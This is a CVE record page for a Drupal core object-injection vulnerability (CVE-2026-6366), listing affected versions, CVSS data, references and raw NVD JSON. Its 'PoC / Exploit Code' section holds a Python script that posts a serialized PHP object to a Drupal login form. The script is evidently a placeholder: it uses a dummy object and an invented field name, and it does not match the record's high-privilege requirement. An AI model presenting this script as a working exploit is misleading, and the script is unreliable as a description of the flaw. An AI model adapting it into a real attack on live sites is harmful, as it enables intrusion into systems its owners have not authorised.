CVE-2026-6366

Description

Improperly Controlled Modification of Dynamically-Determined Object Attributes vulnerability in Drupal Drupal core allows Object Injection. This issue affects Drupal core: from 8.0.0 before 10.5.9, from 10.6.0 before 10.6.7, from 11.0.0 before 11.2.11, from 11.3.0 before 11.3.7.

CVSS Details

CVSS Score

6.6

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Drupal Core >= 8.0.0, < 10.5.9

Drupal Core >= 10.6.0, < 10.6.7

Drupal Core >= 11.0.0, < 11.2.11

Drupal Core >= 11.3.0, < 11.3.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import base64

# Target URL
url = "http://target-drupal-site/user/login"

# Malicious payload (Conceptual PHP Object Injection)
# In a real scenario, this would be a serialized PHP object targeting a specific gadget chain
payload = 'O:8:"stdClass":1:{s:3:"foo";s:12:"malicious_val";}'

# Encode payload (Drupal might use specific serialization formats)
data = {
    "form_id": "user_login_form",
    "implicated_field": base64.b64encode(payload.encode()).decode()
}

try:
    response = requests.post(url, data=data)
    print(f"Status Code: {response.status_code}")
    print("Payload sent. Check server for execution.")
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6366
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6366
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6366/
[4] VulDB https://vuldb.com/cve/CVE-2026-6366
[5] https://www.drupal.org/sa-core-2026-002

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-6366", "sourceIdentifier": "[email protected]", "published": "2026-05-19T23:16:58.233", "lastModified": "2026-05-20T13:56:48.777", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improperly Controlled Modification of Dynamically-Determined Object Attributes vulnerability in Drupal Drupal core allows Object Injection.\n\nThis issue affects Drupal core: from 8.0.0 before 10.5.9, from 10.6.0 before 10.6.7, from 11.0.0 before 11.2.11, from 11.3.0 before 11.3.7."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.7, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-915"}]}], "references": [{"url": "https://www.drupal.org/sa-core-2026-002", "source": "[email protected]"}]}}